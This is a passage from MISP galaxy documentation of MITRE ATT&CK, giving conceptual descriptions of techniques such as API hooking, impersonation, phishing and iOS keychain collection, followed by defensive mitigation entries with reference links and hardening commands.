- **Import address table (IAT) hooking**, which use modifications to a process's IAT, where pointers to imported API functions are stored. (Citation: Elastic Process Injection July 2017) (Citation: Adlice Software IAT Hooks Oct 2014) (Citation: MWRInfoSecurity Dynamic Hooking 2015)
- **Inline hooking**, which overwrites the first bytes in an API function to redirect code flow. (Citation: Elastic Process Injection July 2017) (Citation: HighTech Bridge Inline Hooking Sept 2011) (Citation: MWRInfoSecurity Dynamic Hooking 2015)

Similar to [Process Injection](https://attack.mitre.org/techniques/T1055), adversaries may use hooking to load and execute malicious code within the context of another process, masking the execution while also allowing access to the process's memory and possibly elevated privileges. Installing hooking mechanisms may also provide Persistence via continuous invocation when the functions are called through normal use.

Malicious hooking mechanisms may also capture API calls that include parameters that reveal user authentication credentials for Credential Access. (Citation: Microsoft TrojanSpy:Win32/Ursnif.gen!I Sept 2017)

Hooking is commonly utilized by [Rootkit](https://attack.mitre.org/techniques/T1014)s to conceal files, processes, Registry keys, and other objects in order to hide malware and associated behaviors. (Citation: Symantec Windows Rootkits)

The tag is: *misp-galaxy:mitre-attack-pattern="Hooking - T1179"*

Table 9155. Table References

Links
http://www.gmer.net/
https://attack.mitre.org/techniques/T1179
https://eyeofrablog.wordpress.com/2017/06/27/windows-keylogger-part-2-defense-against-user-land/
https://github.com/jay/gethooks
https://github.com/prekageo/winhook
https://msdn.microsoft.com/library/windows/desktop/ms644959.aspx
https://msdn.microsoft.com/library/windows/desktop/ms686701.aspx
https://security.stackexchange.com/questions/17904/what-are-the-methods-to-find-hooked-functions-and-apis
https://volatility-labs.blogspot.com/2012/09/movp-31-detecting-malware-hooks-in.html
https://www.adlice.com/userland-rootkits-part-1-iat-hooks/

https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process
https://www.exploit-db.com/docs/17802.pdf
https://www.microsoft.com/en-us/wdsi/threats/malware-encyclopedia-description?Name=TrojanSpy:Win32/Ursnif.gen!I&threatId=-2147336918
https://www.mwrinfosecurity.com/our-thinking/dynamic-hooking-techniques-user-mode/
https://www.symantec.com/avcenter/reference/windows.rootkit.overview.pdf
https://zairon.wordpress.com/2006/12/06/any-application-defined-hook-procedure-on-my-machine/

DNSCalc - T1324

This technique has been deprecated. Please use [DNS Calculation](https://attack.mitre.org/techniques/T1568/003).

DNS Calc is a technique in which the octets of an IP address are used to calculate the port for command and control servers from an initial DNS request. (Citation: CrowdstrikeNumberedPanda) (Citation: FireEyeDarwinsAPTGroup) (Citation: Rapid7G20Espionage)

The tag is: *misp-galaxy:mitre-attack-pattern="DNSCalc - T1324"*

Table 9156. Table References

Links
https://attack.mitre.org/techniques/T1324
https://blog.rapid7.com/2013/08/26/upcoming-g20-summit-fuels-espionage-operations/

Masquerading - T1655

Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name, location, or appearance of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.

Renaming abusable system utilities to evade security monitoring is also a form of [Masquerading](https://attack.mitre.org/techniques/T1655)

The tag is: *misp-galaxy:mitre-attack-pattern="Masquerading - T1655"*

Table 9157. Table References

Links
https://attack.mitre.org/techniques/T1655
https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-14.html
https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-31.html

Impersonation - T1656

Adversaries may impersonate a trusted person or organization in order to persuade and trick a target into performing some action on their behalf. For example, adversaries may communicate with victims (via [Phishing for Information](https://attack.mitre.org/techniques/T1598), [Phishing](https://attack.mitre.org/techniques/T1566), or [Internal Spearphishing](https://attack.mitre.org/techniques/T1534)) while impersonating a known sender such as an executive, colleague, or third-party vendor. Established trust can then be leveraged to accomplish an adversary's ultimate goals, possibly against multiple victims.

In many cases of business email compromise or email fraud campaigns, adversaries use impersonation to defraud victims — deceiving them into sending money or divulging information that ultimately enables [Financial Theft](https://attack.mitre.org/techniques/T1657).

Adversaries will often also use social engineering techniques such as manipulative and persuasive language in email subject lines and body text such as `payment`, `request`, or `urgent` to push the victim to act quickly before malicious activity is detected. These campaigns are often specifically targeted against people who, due to job roles and/or accesses, can carry out the adversary's goal.

Impersonation is typically preceded by reconnaissance techniques such as [Gather Victim Identity Information](https://attack.mitre.org/techniques/T1589) and [Gather Victim Org Information](https://attack.mitre.org/techniques/T1591) as well as acquiring infrastructure such as email domains (i.e. [Domains](https://attack.mitre.org/techniques/T1583/001)) to substantiate their false identity.(Citation: CrowdStrike-BEC)

There is the potential for multiple victims in campaigns involving impersonation. For example, an adversary may [Compromise Accounts](https://attack.mitre.org/techniques/T1586) targeting one organization which can then be used to support impersonation against other entities.(Citation: VEC)

The tag is: *misp-galaxy:mitre-attack-pattern="Impersonation - T1656"*

Table 9158. Table References

Links
https://attack.mitre.org/techniques/T1656
<a href="https://www.cloudflare.com/learning/email-security/what-is-vendor-email-compromise/<mark>:_{:text=Vendor%20email%20compromise%2C%20also%20referred,steal%20from%20that%20vendor%27s%20customers.">https://www.cloudflare.com/learning/email-security/what-is-vendor-email-compromise/</mark>:}:text=Vendor%20email%20compromise%2C%20also%20referred
https://www.crowdstrike.com/cybersecurity-101/business-email-compromise-bec/

Phishing - T1566

Adversaries may send phishing messages to gain access to victim systems. All forms of phishing are electronically delivered social engineering. Phishing can be targeted, known as spearphishing. In spearphishing, a specific individual, company, or industry will be targeted by the adversary. More generally, adversaries can conduct non-targeted phishing, such as in mass malware spam

campaigns.

Adversaries may send victims emails containing malicious attachments or links, typically to execute malicious code on victim systems. Phishing may also be conducted via third-party services, like social media platforms. Phishing may also involve social engineering techniques, such as posing as a trusted source, as well as evasive techniques such as removing or manipulating emails or metadata/headers from compromised accounts being abused to send messages (e.g., [Email Hiding Rules](https://attack.mitre.org/techniques/T1564/008)).(Citation: Microsoft OAuth Spam 2022)(Citation: Palo Alto Unit 42 VBA Infostealer 2014) Another way to accomplish this is by [Email Spoofing](https://attack.mitre.org/techniques/T1672)(Citation: Proofpoint-spoof) the identity of the sender, which can be used to fool both the human recipient as well as automated security tools,(Citation: cyberproof-double-bounce) or by including the intended target as a party to an existing email thread that includes malicious files or links (i.e., "thread hijacking").(Citation: phishing-krebs)

Victims may also receive phishing messages that instruct them to call a phone number where they are directed to visit a malicious URL, download malware,(Citation: sygnia Luna Month)(Citation: CISA Remote Monitoring and Management Software) or install adversary-accessible remote management tools onto their computer (i.e., [User Execution](https://attack.mitre.org/techniques/T1204)).(Citation: Unit42 Luna Moth)

The tag is: *misp-galaxy:mitre-attack-pattern="Phishing - T1566"*

Table 9159. Table References

Links
https://attack.mitre.org/techniques/T1566
https://blog.cyberproof.com/blog/double-bounced-attacks-with-email-spoofing-2022-trends
https://blog.sygnia.co/luna-moth-false-subscription-scams
https://docs.microsoft.com/en-us/microsoft-365/security/office-365-security/anti-spoofing-protection?view=o365-worldwide
https://krebsonsecurity.com/2024/03/thread-hijacking-phishes-that-prey-on-your-curiosity/
https://unit42.paloaltonetworks.com/examining-vba-initiated-infostealer-campaign/
https://unit42.paloaltonetworks.com/luna-moth-callback-phishing/
https://web.archive.org/web/20210708014107/https://www.cyber.gov.au/sites/default/files/2019-03/spoof_email_sender_policy_framework.pdf
https://www.cisa.gov/uscert/ncas/alerts/aa23-025a
https://www.microsoft.com/en-us/security/blog/2022/09/22/malicious-oauth-applications-used-to-compromise-email-servers-and-spread-spam/
https://www.proofpoint.com/us/threat-reference/email-spoofing

Keychain - T1579

Adversaries may collect the keychain storage data from an iOS device to acquire credentials.

Keychains are the built-in way for iOS to keep track of users' passwords and credentials for many services and features such as Wi-Fi passwords, websites, secure notes, certificates, private keys, and VPN credentials.

On the device, the keychain database is stored outside of application sandboxes to prevent unauthorized access to the raw data. Standard iOS APIs allow applications access to their own keychain contained within the database. By utilizing a privilege escalation exploit or existing root access, an adversary can access the entire encrypted database.(Citation: Apple Keychain Services)(Citation: Elcomsoft Decrypt Keychain)

The tag is: *misp-galaxy:mitre-attack-pattern="Keychain - T1579"*

Table 9160. Table References

Links
https://attack.mitre.org/techniques/T1579
https://blog.elcomsoft.com/2018/12/six-ways-to-decrypt-iphone-passwords-from-the-keychain/
https://developer.apple.com/documentation/security/keychain_services
https://pages.nist.gov/mobile-threat-catalogue/authentication-threats/AUT-11.html

Course of Action

ATT&CK Mitigation.

Course of Action is a cluster galaxy available in JSON format at **this location** The JSON format can be freely reused in your application or automatically enabled in MISP.

authors

MITRE

Registry Run Keys / Startup Folder Mitigation - T1060

Identify and block potentially malicious software that may be executed through run key or startup folder persistence using whitelisting (Citation: Beechey 2010) tools like AppLocker (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)

The tag is: *misp-galaxy:mitre-course-of-action="Registry Run Keys / Startup Folder Mitigation - T1060"*

Table 9161. Table References

Links
http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html
http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx

http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599
https://apps.nsa.gov/iaarchive/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm
https://attack.mitre.org/mitigations/T1060
https://technet.microsoft.com/en-us/library/ee791851.aspx

Exfiltration Over Command and Control Channel Mitigation - T1041

Mitigations for command and control apply. Network intrusion detection and prevention systems that use network signatures to identify traffic for specific adversary malware can be used to mitigate activity at the network level. Signatures are often for unique indicators within protocols and may be based on the specific obfuscation technique used by a particular adversary or tool, and will likely be different across various malware families and versions. Adversaries will likely change tool command and control signatures over time or construct protocols in such a way to avoid detection by common defensive tools. (Citation: University of Birmingham C2)

The tag is: *misp-galaxy:mitre-course-of-action="Exfiltration Over Command and Control Channel Mitigation - T1041"*

Table 9162. Table References

Links
https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf
https://attack.mitre.org/mitigations/T1041

Exfiltration Over Other Network Medium Mitigation - T1011

Ensure host-based sensors maintain visibility into usage of all network adapters and prevent the creation of new ones where possible. (Citation: Microsoft GPO Bluetooth FEB 2009) (Citation: TechRepublic Wireless GPO FEB 2009)

The tag is: *misp-galaxy:mitre-course-of-action="Exfiltration Over Other Network Medium Mitigation - T1011"*

Table 9163. Table References

Links
https://attack.mitre.org/mitigations/T1011
https://technet.microsoft.com/library/dd252791.aspx
https://www.techrepublic.com/blog/data-center/configuring-wireless-settings-via-group-policy/

Disable or Remove Feature or Program - M1042

Disable or remove unnecessary and potentially vulnerable software, features, or services to reduce the attack surface and prevent abuse by adversaries. This involves identifying software or features that are no longer needed or that could be exploited and ensuring they are either removed or properly disabled. This mitigation can be implemented through the following measures:

Remove Legacy Software:

- Use Case: Disable or remove older versions of software that no longer receive updates or security patches (e.g., legacy Java, Adobe Flash).
- Implementation: A company removes Flash Player from all employee systems after it has reached its end-of-life date.

Disable Unused Features:

- Use Case: Turn off unnecessary operating system features like SMBv1, Telnet, or RDP if they are not required.
- Implementation: Disable SMBv1 in a Windows environment to mitigate vulnerabilities like EternalBlue.

Control Applications Installed by Users:

- Use Case: Prevent users from installing unauthorized software via group policies or other management tools.
- Implementation: Block user installations of unauthorized file-sharing applications (e.g., BitTorrent clients) in an enterprise environment.

Remove Unnecessary Services:

- Use Case: Identify and disable unnecessary default services running on endpoints, servers, or network devices.
- Implementation: Disable unused administrative shares (e.g., C$, ADMIN$) on workstations.

Restrict Add-ons and Plugins:

- Use Case: Remove or disable browser plugins and add-ons that are not needed for business purposes.
- Implementation: Disable Java and ActiveX plugins in web browsers to prevent drive-by attacks.

The tag is: *misp-galaxy:mitre-course-of-action="Disable or Remove Feature or Program - M1042"*

Table 9164. Table References

Links
https://attack.mitre.org/mitigations/M1042

Limit Access to Resource Over Network - M1035

Restrict access to network resources, such as file shares, remote systems, and services, to only those users, accounts, or systems with a legitimate business requirement. This can include employing technologies like network concentrators, RDP gateways, and zero-trust network access (ZTNA) models, alongside hardening services and protocols. This mitigation can be implemented through the following measures:

Audit and Restrict Access:

- Regularly audit permissions for file shares, network services, and remote access tools.
- Remove unnecessary access and enforce least privilege principles for users and services.
- Use Active Directory and IAM tools to restrict access based on roles and attributes.

Deploy Secure Remote Access Solutions:

- Use RDP gateways, VPN concentrators, and ZTNA solutions to aggregate and secure remote access connections.
- Configure access controls to restrict connections based on time, device, and user identity.
- Enforce MFA for all remote access mechanisms.

Disable Unnecessary Services:

- Identify running services using tools like netstat (Windows/Linux) or Nmap.
- Disable unused services, such as Telnet, FTP, and legacy SMB, to reduce the attack surface.
- Use firewall rules to block traffic on unused ports and protocols.

Network Segmentation and Isolation:

- Use VLANs, firewalls, or micro-segmentation to isolate critical network resources from general access.
- Restrict communication between subnets to prevent lateral movement.

Monitor and Log Access:

- Monitor access attempts to file shares, RDP, and remote network resources using SIEM tools.
- Enable auditing and logging for successful and failed attempts to access restricted resources.

Tools for Implementation

File Share Management:

- Microsoft Active Directory Group Policies
- Samba (Linux/Unix file share management)
- AccessEnum (Windows access auditing tool)

Secure Remote Access:

- Microsoft Remote Desktop Gateway
- Apache Guacamole (open-source RDP/VNC gateway)
- Zero Trust solutions: Tailscale, Cloudflare Zero Trust

Service and Protocol Hardening:

- Nmap or Nessus for network service discovery
- Windows Group Policy Editor for disabling SMBv1, Telnet, and legacy protocols
- iptables or firewalld (Linux) for blocking unnecessary traffic

Network Segmentation:

- pfSense for open-source network isolation

The tag is: *misp-galaxy:mitre-course-of-action="Limit Access to Resource Over Network - M1035"*

Table 9165. Table References

Links
https://attack.mitre.org/mitigations/M1035

Data from Network Shared Drive Mitigation - T1039

Identify unnecessary system utilities or potentially malicious software that may be used to collect data from a network share, and audit and/or block them by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)

The tag is: *misp-galaxy:mitre-course-of-action="Data from Network Shared Drive Mitigation - T1039"*

Table 9166. Table References

Links
http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html
http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx
http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599
https://apps.nsa.gov/iaarchive/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm
https://attack.mitre.org/mitigations/T1039
https://technet.microsoft.com/en-us/library/ee791851.aspx

Windows Management Instrumentation Event Subscription Mitigation - T1084

Disabling WMI services may cause system instability and should be evaluated to assess the impact to a network. By default, only administrators are allowed to connect remotely using WMI; restrict other users that are allowed to connect, or disallow all users from connecting remotely to WMI. Prevent credential overlap across systems of administrator and privileged accounts. (Citation: FireEye WMI 2015)

The tag is: *misp-galaxy:mitre-course-of-action="Windows Management Instrumentation Event Subscription Mitigation - T1084"*

Table 9167. Table References

Links
https://attack.mitre.org/mitigations/T1084
https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/wp-windows-management-instrumentation.pdf

Custom Command and Control Protocol Mitigation - T1094

Properly configure firewalls and proxies to limit outgoing traffic to only necessary ports and through proper network gateway systems. Also ensure hosts are only provisioned to communicate over authorized interfaces.

Network intrusion detection and prevention systems that use network signatures to identify traffic for specific adversary malware can be used to mitigate activity at the network level. Signatures are often for unique indicators within protocols and may be based on the specific protocol used by a particular adversary or tool, and will likely be different across various malware families and versions. Adversaries will likely change tool C2 signatures over time or construct protocols in such a way as to avoid detection by common defensive tools. (Citation: University of Birmingham C2)

The tag is: *misp-galaxy:mitre-course-of-action="Custom Command and Control Protocol Mitigation - T1094"*

Table 9168. Table References

Links
https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf
https://attack.mitre.org/mitigations/T1094

Image File Execution Options Injection Mitigation - T1183

This type of attack technique cannot be easily mitigated with preventive controls since it is based on the abuse of operating system design features. For example, mitigating all IFEO will likely have unintended side effects, such as preventing legitimate software (i.e., security products) from operating properly. (Citation: Microsoft IFEOorMalware July 2015) Efforts should be focused on preventing adversary tools from running earlier in the chain of activity and on identifying subsequent malicious behavior.

Identify and block potentially malicious software that may be executed through IFEO by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) that are capable of auditing and/or blocking unknown executables.

The tag is: *misp-galaxy:mitre-course-of-action="Image File Execution Options Injection Mitigation - T1183"*

Table 9169. Table References

Links
http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html
http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599
https://answers.microsoft.com/windows/forum/windows_10-security/part-of-windows-10-or-really-malware/af715663-a34a-423c-850d-2a46f369a54c
https://apps.nsa.gov/iaarchive/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm
https://attack.mitre.org/mitigations/T1183

SIP and Trust Provider Hijacking Mitigation - T1198

Ensure proper permissions are set for Registry hives to prevent users from modifying keys related to SIP and trust provider components. Also ensure that these values contain their full path to prevent [DLL Search Order Hijacking](https://attack.mitre.org/techniques/T1038). (Citation: SpectorOps Subverting Trust Sept 2017)

Consider removing unnecessary and/or stale SIPs. (Citation: SpectorOps Subverting Trust Sept 2017)

Restrict storage and execution of SIP DLLs to protected directories, such as C:\Windows, rather than user directories.

Enable whitelisting solutions such as AppLocker and/or Device Guard to block the loading of malicious SIP DLLs. Components may still be able to be hijacked to suitable functions already present on disk if malicious modifications to Registry keys are not prevented.

The tag is: *misp-galaxy:mitre-course-of-action="SIP and Trust Provider Hijacking Mitigation - T1198"*

Table 9170. Table References

Links
https://attack.mitre.org/mitigations/T1198
https://specterops.io/assets/resources/SpecterOps_Subverting_Trust_in_Windows.pdf

Standard Non-Application Layer Protocol Mitigation - T1095

Properly configure firewalls and proxies to limit outgoing traffic to only necessary ports and through proper network gateway systems. Also ensure hosts are only provisioned to communicate over authorized interfaces.

Network intrusion detection and prevention systems that use network signatures to identify traffic for specific adversary malware can be used to mitigate activity at the network level. Signatures are often for unique indicators within protocols and may be based on the specific obfuscation technique used by a particular adversary or tool, and will likely be different across various malware families and versions. Adversaries will likely change tool C2 signatures over time or construct protocols in such a way as to avoid detection by common defensive tools. (Citation: University of Birmingham C2)

The tag is: *misp-galaxy:mitre-course-of-action="Standard Non-Application Layer Protocol Mitigation - T1095"*

Table 9171. Table References

Links
https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf
https://attack.mitre.org/mitigations/T1095

Deobfuscate/Decode Files or Information Mitigation - T1140

Identify unnecessary system utilities or potentially malicious software that may be used to deobfuscate or decode files or information, and audit and/or block them by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)

The tag is: *misp-galaxy:mitre-course-of-action="Deobfuscate/Decode Files or Information Mitigation - T1140"*

Table 9172. Table References

Links
http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html

http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx
http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599
https://apps.nsa.gov/iaarchive/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm
https://attack.mitre.org/mitigations/T1140
https://technet.microsoft.com/en-us/library/ee791851.aspx

Deploy Compromised Device Detection Method - M1010

A variety of methods exist that can be used to enable enterprises to identify compromised (e.g. rooted/jailbroken) devices, whether using security mechanisms built directly into the device, third-party mobile security applications, enterprise mobility management (EMM)/mobile device management (MDM) capabilities, or other methods. Some methods may be trivial to evade while others may be more sophisticated.

The tag is: *misp-galaxy:mitre-course-of-action="Deploy Compromised Device Detection Method - M1010"*

Table 9173. Table References

Links
https://attack.mitre.org/mitigations/M1010

Data Transfer Size Limits Mitigation - T1030

Network intrusion detection and prevention systems that use network signatures to identify traffic for specific adversary command and control infrastructure and malware can be used to mitigate activity at the network level. Signatures are often for unique indicators within protocols and may be based on the specific obfuscation technique used by a particular adversary or tool, and will likely be different across various malware families and versions. Adversaries will likely change tool command and control signatures over time or construct protocols in such a way to avoid detection by common defensive tools. (Citation: University of Birmingham C2)

The tag is: *misp-galaxy:mitre-course-of-action="Data Transfer Size Limits Mitigation - T1030"*

Table 9174. Table References

Links
https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf
https://attack.mitre.org/mitigations/T1030

Data from Local System Mitigation - T1005

Identify unnecessary system utilities or potentially malicious software that may be used to collect data from the local system, and audit and/or block them by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)

The tag is: *misp-galaxy:mitre-course-of-action="Data from Local System Mitigation - T1005"*

Table 9175. Table References

Links
http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx
http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599
https://apps.nsa.gov/iaarchive/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm
https://attack.mitre.org/mitigations/T1005
https://blogs.jpcert.or.jp/en/2016/01/windows-commands-abused-by-attackers.html
https://technet.microsoft.com/en-us/library/ee791851.aspx

File System Logical Offsets Mitigation - T1006

Identify potentially malicious software that may be used to access logical drives in this manner, and audit and/or block it by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)

The tag is: *misp-galaxy:mitre-course-of-action="File System Logical Offsets Mitigation - T1006"*

Table 9176. Table References

Links
http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx
http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599
https://apps.nsa.gov/iaarchive/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm
https://attack.mitre.org/mitigations/T1006
https://blogs.jpcert.or.jp/en/2016/01/windows-commands-abused-by-attackers.html
https://technet.microsoft.com/en-us/library/ee791851.aspx

Caution with Device Administrator Access - M1007

Warn device users not to accept requests to grant Device Administrator access to applications without good reason.

Additionally, application vetting should include a check on whether the application requests Device Administrator access. Applications that do request Device Administrator access should be carefully scrutinized and only allowed to be used if a valid reason exists.

The tag is: *misp-galaxy:mitre-course-of-action="Caution with Device Administrator Access - M1007"*

Table 9177. Table References

Links
https://attack.mitre.org/mitigations/M1007

Indicator Removal on Host Mitigation - T1070

Automatically forward events to a log server or data repository to prevent conditions in which the adversary can locate and manipulate data on the local system. When possible, minimize time delay on event reporting to avoid prolonged storage on the local system. Protect generated event files that are stored locally with proper permissions and authentication and limit opportunities for adversaries to increase privileges by preventing Privilege Escalation opportunities. Obfuscate/encrypt event files locally and in transit to avoid giving feedback to an adversary.

The tag is: *misp-galaxy:mitre-course-of-action="Indicator Removal on Host Mitigation - T1070"*

Table 9178. Table References

Links
https://attack.mitre.org/mitigations/T1070

Exploitation of Remote Services Mitigation - T1210

Segment networks and systems appropriately to reduce access to critical systems and services to controlled methods. Minimize available services to only those that are necessary. Regularly scan the internal network for available services to identify new and potentially vulnerable services. Minimize permissions and access for service accounts to limit impact of exploitation.

Update software regularly by employing patch management for internal enterprise endpoints and servers. Develop a robust cyber threat intelligence capability to determine what types and levels of threat may use software exploits and 0-days against a particular organization. Make it difficult for adversaries to advance their operation through exploitation of undiscovered or unpatched vulnerabilities by using sandboxing, if available. Other types of virtualization and application microsegmentation may also mitigate the impact of some types of exploitation. The risks of additional exploits and weaknesses in implementation may still exist. (Citation: Ars Technica Pwn2Own 2017 VM Escape)

Security applications that look for behavior used during exploitation such as Windows Defender Exploit Guard (WDEG) and the Enhanced Mitigation Experience Toolkit (EMET) can be used to mitigate some exploitation behavior. (Citation: TechNet Moving Beyond EMET) Control flow integrity checking is another way to potentially identify and stop a software exploit from occurring. (Citation: Wikipedia Control Flow Integrity) Many of these protections depend on the architecture and target application binary for compatibility and may not work for all software or services targeted.

The tag is: *misp-galaxy:mitre-course-of-action="Exploitation of Remote Services Mitigation - T1210"*

Table 9179. Table References

Links
https://arstechnica.com/information-technology/2017/03/hack-that-escapes-vm-by-exploiting-edge-browser-fetches-105000-at-pwn2own/
https://attack.mitre.org/mitigations/T1210
https://blogs.technet.microsoft.com/srd/2017/08/09/moving-beyond-emet-ii-windows-defender-exploit-guard/
https://en.wikipedia.org/wiki/Control-flow_integrity

System Network Configuration Discovery Mitigation - T1016

Identify unnecessary system utilities or potentially malicious software that may be used to acquire information about a system's network configuration, and audit and/or block them by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)

The tag is: *misp-galaxy:mitre-course-of-action="System Network Configuration Discovery Mitigation - T1016"*

Table 9180. Table References

Links
http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html
http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx
http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599
https://apps.nsa.gov/iaarchive/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm
https://attack.mitre.org/mitigations/T1016
https://technet.microsoft.com/en-us/library/ee791851.aspx

Replication Through Removable Media Mitigation - T1091

Disable Autorun if it is unnecessary. (Citation: Microsoft Disable Autorun) Disallow or restrict removable media at an organizational policy level if it is not required for business operations. (Citation: TechNet Removable Media Control)

Identify potentially malicious software that may be used to infect removable media or may result from tainted removable media, and audit and/or block it by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)

The tag is: *misp-galaxy:mitre-course-of-action="Replication Through Removable Media Mitigation - T1091"*

Table 9181. Table References

Links
http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html
http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx
http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599
https://apps.nsa.gov/iaarchive/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm
https://attack.mitre.org/mitigations/T1091
https://support.microsoft.com/en-us/kb/967715
https://technet.microsoft.com/en-us/library/cc772540(v=ws.10).aspx
https://technet.microsoft.com/en-us/library/ee791851.aspx

Restrict File and Directory Permissions - M1022

Restricting file and directory permissions involves setting access controls at the file system level to limit which users, groups, or processes can read, write, or execute files. By configuring permissions appropriately, organizations can reduce the attack surface for adversaries seeking to access sensitive data, plant malicious code, or tamper with system files.

Enforce Least Privilege Permissions:

- Remove unnecessary write permissions on sensitive files and directories.
- Use file ownership and groups to control access for specific roles.

Example (Windows): Right-click the shared folder → Properties → Security tab → Adjust permissions for NTFS ACLs.

Harden File Shares:

- Disable anonymous access to shared folders.
- Enforce NTFS permissions for shared folders on Windows.

Example: Set permissions to restrict write access to critical files, such as system executables (e.g., `/bin` or `/sbin` on Linux). Use tools like `chown` and `chmod` to assign file ownership and limit access.

On Linux, apply: `chmod 750 /etc/sensitive.conf` `chown root:admin /etc/sensitive.conf`

File Integrity Monitoring (FIM):

- Use tools like Tripwire, Wazuh, or OSSEC to monitor changes to critical file permissions.

Audit File System Access:

- Enable auditing to track permission changes or unauthorized access attempts.
- Use auditd (Linux) or Event Viewer (Windows) to log activities.

Restrict Startup Directories:

- Configure permissions to prevent unauthorized writes to directories like `C:\ProgramData\Microsoft\Windows\Start Menu`.

Example: Restrict write access to critical directories like `/etc/`, `/usr/local/`, and Windows directories such as `C:\Windows\System32`.

- On Windows, use icacls to modify permissions: `icacls "C:\Windows\System32" /inheritance:r /grant:r SYSTEM:(OI)(CI)F`
- On Linux, monitor permissions using tools like `lsattr` or `auditd`.

The tag is: *misp-galaxy:mitre-course-of-action="Restrict File and Directory Permissions - M1022"*

Table 9182. Table References

Links
https://attack.mitre.org/mitigations/M1022

Exploitation for Client Execution Mitigation - T1203

Browser sandboxes can be used to mitigate some of the impact of exploitation, but sandbox escapes may still exist. (Citation: Windows Blogs Microsoft Edge Sandbox) (Citation: Ars Technica Pwn2Own 2017 VM Escape)

Other types of virtualization and application microsegmentation may also mitigate the impact of client-side exploitation. The risks of additional exploits and weaknesses in implementation may still exist. (Citation: Ars Technica Pwn2Own 2017 VM Escape)

Security applications that look for behavior used during exploitation such as Windows Defender Exploit Guard (WDEG) and the Enhanced Mitigation Experience Toolkit (EMET) can be used to

mitigate some exploitation behavior. (Citation: TechNet Moving Beyond EMET) Control flow integrity checking is another way to potentially identify and stop a software exploit from occurring. (Citation: Wikipedia Control Flow Integrity) Many of these protections depend on the architecture and target application binary for compatibility.

The tag is: *misp-galaxy:mitre-course-of-action="Exploitation for Client Execution Mitigation - T1203"*

Table 9183. Table References

Links
https://arstechnica.com/information-technology/2017/03/hack-that-escapes-vm-by-exploiting-edge-browser-fetches-105000-at-pwn2own/
https://attack.mitre.org/mitigations/T1203
https://blogs.technet.microsoft.com/srd/2017/08/09/moving-beyond-emet-ii-windows-defender-exploit-guard/
https://blogs.windows.com/msedgedev/2017/03/23/strengthening-microsoft-edge-sandbox/
https://en.wikipedia.org/wiki/Control-flow_integrity

Change Default File Association Mitigation - T1042

Direct mitigation of this technique is not recommended since it is a legitimate function that can be performed by users for software preferences. Follow Microsoft's best practices for file associations. (Citation: MSDN File Associations)

